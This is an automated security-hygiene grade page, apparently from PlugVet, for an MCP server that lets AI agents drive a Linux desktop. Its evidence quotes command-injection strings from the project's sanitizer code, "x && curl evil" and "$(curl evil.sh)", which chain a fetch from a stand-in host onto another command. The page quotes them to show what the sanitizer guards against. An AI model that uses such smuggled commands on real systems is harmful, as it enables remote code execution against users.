Grades are a hygiene check, not a security guarantee.

MCP, MCP server

Ultranix Mcp

ultranix-mcp is the enterprise-grade, secure Linux desktop-automation layer for AI agents.It gives Model Context Protocol (MCP) clients - Claude Desktop, Claude Code, Cursor, Windsurf, and any MCP-enabled assistant - the ability to see, click, type, and drive a Wayland deskto

Compatibility: Not stated.

Grade B

Minor issues only, no Medium or High. Worth a quick look at the findings below before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

NETWORK_NO_FIXED_HOST PERMISSION_SHELL_DECLARED

Why this grade

  • NETWORK_NO_FIXED_HOST Low

    Makes a network call whose host is not written as a fixed address.

    src/security/sanitize.rs, line 140 "x && curl evil",

  • PERMISSION_SHELL_DECLARED Note

    Runs shell commands, and the manifest or description says so.

    scripts/nested-test.sh, line 412 proc = subprocess.Popen(

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Note

    requests shell access. The manifest names this permission.

    PERMISSION_SHELL_DECLARED

    scripts/nested-test.sh, line 412

    proc = subprocess.Popen(

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    src/security/sanitize.rs, line 140

    "x && curl evil",

    src/security/sanitize.rs, line 141

    "$(curl evil.sh)",

  • Secrets

    Pass

    No read of a credential file or secret environment variable found.

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

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Note

Hygiene check of commit 48d5530aa427. requests shell access. The manifest names this permission. can reach a host that is not written as a fixed address.

Date and source

Date checked:

View source

github.com

Commit graded: 48d5530aa427a7d0c416ab6039bf29f3d18070f0

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen